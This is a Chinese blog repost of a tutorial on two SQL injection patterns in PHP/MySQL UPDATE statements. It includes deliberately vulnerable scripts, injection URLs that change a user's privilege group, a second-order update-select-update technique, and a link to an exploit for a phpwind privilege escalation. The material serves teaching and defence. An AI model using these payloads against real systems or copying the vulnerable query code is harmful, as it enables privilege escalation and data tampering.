手机浏览 RSS 2.0 订阅 膘叔的简单人生 , 腾讯云RDS购买 | 超便宜的Vultr , 注册 | 登陆

UPDATE注射(mysql+php)的两个模式

首页 > PHP >

寂寞hack的文章,简单的介绍了一些注入方法,可以了解一下,但并没有那样的实用,经知道现在很多框架、代码都采用了PDO,使用了prepare的方法,基本上可以避免这些问题的发生。当然,光靠这些是不一定能够完全避免的,代码上还是要严格控制一下。

原文来自于:http://hi.baidu.com/isbx/blog/item/35d86a605b1fbf48eaf8f851.html


一、测试环境

OS: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
apache 1.3.33

二、测试数据库结构

SQL代码
  1. -- 数据库: `test`  
  2. --  
  3. -- --------------------------------------------------------  
  4. --   
  5. -- 表的结构 `userinfo`  
  6. --  
  7.   
  8. CREATE TABLE `userinfo` (  
  9. `groudid` varchar(12) NOT NULL default '1',  
  10. `uservarchar(12) NOT NULL default 'heige',  
  11. `pass` varchar(122) NOT NULL default '123456'  
  12. ) ENGINE=MyISAM DEFAULT CHARSET=latin1;  
  13.   
  14. --   
  15. -- 导出表中的数据 `userinfo`  
  16. --  
  17.   
  18. INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')  

三、测试模式

1、变量没有带''或""

PHP代码
  1. <?php  
  2. //test1.php Mod1  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass=$p where user='heige'";//<--$P没有使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. $userinfo = mysql_fetch_array($result);  
  14.   
  15. echo "<p>SQL Query:$sql<p>";  
  16. ?>  
脚本里只是修改 user=&apos;heige&apos; 的 pass,如果 groudid 表示用户的权限等级,我们的目的就是通过构造 $p 来达到修改 groupid 的目的,那么我们提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查询:

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------+  
  5. | 1 | heige | 123456 |  
  6. +---------+-------+--------+  
  7. 1 row in set (0.01 sec)  

用户heige的groudid又2改为1了 :)

所以我们可以得到没有&apos;&apos;或""update的注射是可以成功的,这个就是我们的模式1。

2、变量带&apos;&apos;或""

PHP代码
  1. <?php  
  2. //test2.php  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. $userinfo = mysql_fetch_array($result);  
  14.   
  15. echo "<p>SQL Query:$sql<p>";  
  16. ?>  

为了关闭&apos;我们构造$p应该为 123456&apos;,groudid=&apos;2 提交:

http://127.0.0.1/test2.php?p=123456&apos;,groudid=&apos;1

在gpc=on的情况下&apos;变成了\&apos;,提交的语句变成:

SQL Query:update userinfo set pass=&apos;123456\&apos;,groudid=\&apos;1&apos; where user=&apos;heige&apos;

 

mysql查询:

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------------------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------------------+  
  5. | 2 | heige | 123456',groudid='1 |  
  6. +---------+-------+--------------------+  
  7. 1 row in set (0.00 sec)  
groudid并没有被修改。那么在变量被&apos;&apos;或""时 就完全没有被注射呢?不是 下面我们看模式2:

PHP代码
  1. <?php  
  2. //test3.php Mod2  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. mysql_fetch_array($result); //$p的数据写入数据库  
  14.   
  15. $sql"select pass from userinfo where user='heige'";  
  16. $result = mysql_db_query($dbname$sql);  
  17. $userinfo=mysql_fetch_array($result);  
  18.   
  19. echo $userinfo[0]; //把pass查询输出给$userinfo[0]  
  20.   
  21. $sql ="update userinfo set pass='$userinfo[0]' where user='heige'";  
  22. $result = mysql_db_query($dbname$sql);  
  23. mysql_fetch_array($result); //把$userinfo[0] 再次update  
  24.   
  25. ?>  
我们测试下,提交:

 

http://127.0.0.1/test3.php?p=123456&apos;,groudid=&apos;1

回mysql查询下 :

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------+  
  5. | 1 | heige | 123456 |  
  6. +---------+-------+--------+  
  7. 1 row in set (0.00 sec)  
HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:

 

 

update --> select --> update

 


四、实际模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 权限提升漏洞

漏洞分析

 

update (profile.php 注射变量为$proicon update语句里为,icon=&apos;$userdb[icon]&apos;)

select (jop.php)

updtate (jop.php)
Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe




本站采用创作共享版权协议, 要求署名、非商业和保持一致. 本站欢迎任何非商业应用的转载, 但须注明出自"易栈网-膘叔", 保留原始链接, 此外还必须标注原文标题和链接.

« 上一篇 | 下一篇 »

发表评论

评论内容 (必填):